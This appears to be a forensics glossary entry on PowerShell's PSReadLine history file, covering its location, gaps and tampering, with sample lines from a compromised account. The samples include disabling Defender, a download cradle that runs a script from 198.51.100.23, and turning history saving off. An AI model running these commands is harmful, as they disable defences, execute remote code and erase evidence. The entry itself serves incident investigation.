Glossary
PSReadLine
The PowerShell console line editor that saves interactive command history to ConsoleHost_history.txt, without timestamps.
PSReadLine is the command-line editing module that the PowerShell console loads by default, shipped in-box since PowerShell 5 on Windows 10. Besides syntax colouring and key bindings, it keeps a persistent history: every command a user accepts at the prompt is appended to a plain-text file in that user's roaming profile. For an investigator, that file is often the most direct record of what a person actually typed.
Why it matters in investigations
The history file survives reboots and new sessions, so it can reach back weeks or months before the oldest entry in the event logs. It also captures commands exactly as typed, including an -EncodedCommand blob that script block logging would store only in decoded form. But it has hard limits:
- No timestamps. The order of lines is the only chronology; to date a command, match it to a 4104 or 800 event, or to a transcript.
- Interactive console input only. Scripts, scheduled tasks, WinRM sessions and non-console hosts are not recorded here.
- Easy to tamper with. An attacker can delete or truncate the file, or turn saving off with
Set-PSReadLineOption -HistorySaveStyle SaveNothing. - Typed is not executed. Typos and abandoned commands are saved too.
Example
The default location for the normal powershell.exe console is:
%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Other hosts write <HostName>_history.txt, and (Get-PSReadLineOption).HistorySavePath shows the active path. A few lines from a compromised account might read:
whoami /groups
Set-MpPreference -DisableRealtimeMonitoring $true
IEX (New-Object Net.WebClient).DownloadString('http://198.51.100.23/a.ps1')
A multi-line command is saved with a trailing backtick on every line but the last; the parser rejoins those into a single entry and flags the Defender tampering and the download cradle above, as well as commands that clear or delete the history.
Related terms
- PowerShell transcription, which records input and output with local timestamps
- Event ID 4104, to put a typed command in time
- Download cradle and encoded command, both common in history lines
Read a history file beside the event logs in the PowerShell Parser, and see ConsoleHost_history.txt forensics for the full walkthrough.